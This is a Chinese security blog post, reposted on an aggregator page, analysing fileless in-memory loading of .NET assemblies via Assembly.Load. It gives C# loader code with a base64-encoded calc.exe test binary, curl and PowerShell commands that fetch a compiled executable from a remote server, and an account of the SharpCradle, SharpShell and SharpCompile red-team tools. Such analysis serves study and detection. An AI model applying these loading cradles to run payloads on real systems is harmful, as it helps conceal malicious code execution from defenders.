

从内存加载.NET程序集(Assembly.Load)的利用分析
source link: https://3gstudent.github.io/3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(Assembly.Load)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

从内存加载.NET程序集(Assembly.Load)的利用分析
0x00 前言
在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》介绍了"execute-assembly"
的实现方法和利用思路,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽。
与此相似的方法还有一个是Assembly.Load
,同样能够从内存中加载.NET程序集。
本文将会结合三个开源工程,介绍Assembly.Load
的实现方法,分析利用思路。
0x01 简介
本文将要介绍以下内容:
- SharpCradle的利用分析
- SharpShell的利用分析
- SharpCompile的利用分析
0x02 基础知识
参考资料:
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5
1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区别
Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集
Assembly.LoadFrom("a.dll")
,如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集
Assembly.LoadFile("a.dll")
,如果a.dll中引用了b.dll,那么不会加载b.dll
2.Assembly.Load()的实现示例
(1)编写测试程序
测试程序的代码如下:
using System;
namespace TestApplication
{
public class Program
{
public static void Main()
{
Console.WriteLine("Main");
}
}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
}
}
使用csc.exe进行编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs
生成testcalc.exe
(2)读取testcalc.exe的内容,并作base64加密
代码如下:
using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}
(3)解密字符串变量,还原testcalc.exe的内容,使用Assembly.Load()加载程序集并调用方法bbb
代码如下:
using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
Type type = assembly.GetType("TestApplication.aaa");
MethodInfo method = type.GetMethod("bbb");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, null);
}
}
}
0x03 SharpCradle的利用分析
https://github.com/anthemtotheego/SharpCradle
SharpCradle支持从Web或文件共享下载二进制文件并在内存中加载
注:
这里需要在远程服务器上保存编译后的二进制文件
SharpCradle的代码很清晰直观,这里提取出调用Assembly.Load()的相关代码,内容如下:
public static void loadAssembly(byte[] bin, object[] commands)
{
Assembly a = Assembly.Load(bin);
try
{
a.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
}//End try/catch
}//End loadAssembly
值得注意的是MethodInfo method = a.EntryPoint;
,表示调用的为入口函数
也就是说,被加载的程序集的主要功能要写在Main函数中,例如0x02中的示例代码:
using System;
namespace TestApplication
{
public class Program
{
public static void Main()
{
Console.WriteLine("Main");
}
}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
}
}
使用SharpCradle对其进行远程下载执行时,默认只会执行Main函数中的内容
0x04 SharpShell的利用分析
https://github.com/cobbr/SharpShell
SharpShell能够利用Rosyln C#编译器快速交叉编译.NET Framework控制台应用程序或库
注:
这里只需要代码文件,不需要编译后的二进制文件
SharpShell包括以下三个子工程:
- SharpShell
使用Rosyln C#编译器对输入的代码进行编译,通过内存加载后返回执行的结果
由于Roslyn只能在.NET Core或.NET 4.6+使用,不支持.NET 3.5和.NET 4.0
所以这里的SharpShell需要.NET 4.6+的环境才能运行
注:
在我的测试环境中,.NET 4.5也可以运行,如下图

- SharpShell.API
SharpShell.API需要.NET Core的开发环境,这里可以参考之前的文章《SharpGen利用分析》中SharpGen的开发环境配置
SharpShell.API使用ASP.NET Core 2.1调用Roslyn,作为http server,接收从SharpShell.API.SharpShell传来的代码,进行编译后回传生成的二进制文件
- SharpShell.API.SharpShell
SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0使用,将代码文件以POST形式发送到http server,接收编译后的二进制文件,通过内存加载后返回执行的结果
这里只介绍同Assembly.Load()相关的工程SharpShell.API和SharpShell.API.SharpShell
1.测试环境搭建
(1)SharpShell.API
需要.NET Core的开发环境
git clone https://github.com/cobbr/SharpShell
cd .\SharpShell\SharpShell.API
dotnet build --configuration Release
cd .\bin\Release\netcoreapp2.1
dotnet SharpShell.API.dll
启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html

(2)SharpShell.API.SharpShell
需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe
启动后输入测试命令Shell.ShellExecute("whoami");

2.实现流程
这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图

流程如下:
- SharpShell.API.SharpShell发送POST请求
- SharpShell.API接收POST请求后,回复确认消息
HTTP/1.1 100 Continue
- SharpShell.API.SharpShell发送JSON格式的代码文件
- SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复
- SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载
综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:
SharpCradle需要在远程服务器上保存编译后的二进制文件
SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件
0x05 SharpCompile的利用分析
https://github.com/SpiderLabs/SharpCompile
SharpCompile包括以下两部分:
- SharpCompileServer
作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件
这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器
默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe
注:
这里需要注意http server和本地.NET的版本是否一致
- SharpCompile.cna
Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置
默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl
1.实际测试
(1)开启http server
SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe
执行SharpCompileServer.exe,开启http server,如下图
(2)http server的功能测试
向http server发送POST格式的代码,查看返回的内容
test.cs保存代码文件,内容如下:
using System;
namespace TestCalc
{
class Hello
{
static void Main(string[] args)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
}
这里分别使用powershell和curl命令进行测试
- powershell
Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
注:
Invoke-RestMethod命令需要Powershell v3.0
curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
这里使用wireshark抓取整个过程的通信数据,如下图

(3)SharpCompile.cna测试
在我的测试环境下,SharpCompile.cna中的exec(@command);
命令无法执行,所以无法复现SharpCompile.cna的功能
2.实现流程
但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:
- 调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地
SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除
这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集
0x06 三个开源工程的比较和利用思路
SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行
功能最为完整的是SharpShell.API.SharpShell,优点如下:
- 整个过程在内存执行,不写入文件系统
- 可生成指定.NET版本的二进制文件
- 仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)
在利用思路上,Assembly.Load
同execute-assembly
类似,区别在于payload的格式不同
0x07 小结
本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。
Recommend
-
80
-
38
简介 对于大多数App来说,内存占用主要就是图片。本文将从实用的角度分析,iOS图片的内存占用、测量、优化等。 iOS内存-有什么影响 在移动操作系统设备中,是不能像PC一样进行内存swap的,而随着用户的实...
-
11
从内存加载.NET程序集(execute-assembly)的利用分析 0x00 前言 Cobalt Strike 3.11中,加入了一个名为”execute-assembly”的命令,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powers...
-
26
利用Assembly Load & LoadFile绕过Applocker的分析总结 0x00 前言 最近bohops在文章《Ex...
-
11
0x00 前言 最近James Forshaw开源了一个工具DotNetToJScript,能够利用JS/Vbs脚本加载.Net程序,很有趣。 Casey Smith和Cn33liz都对此做了进一步研究,开源了他们的利用代码。 本文将要对该技术作系统整理,帮助大家更好的认识。
-
6
How to Fix the “Could Not Load File or Assembly RSy3_AudioAppStreamsWrapper.dll” Error on Windows By Modisha Tladi Published 7 hours ago...
-
4
聊聊多线程程序的load balance 浏览:1754次 出处信息 说起load balance,一般比较容易想到的是大型服务在多个r...
-
5
Stats 2.8K views...
-
11
.NET Core分析程序集最优美的方法,不用Assembly.LoadFile(),超越ReflectionOnlyLoad 在...
-
4
前言¶ 大家在阅读一些网络相关的 ebpf 程序源码时可能会发...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK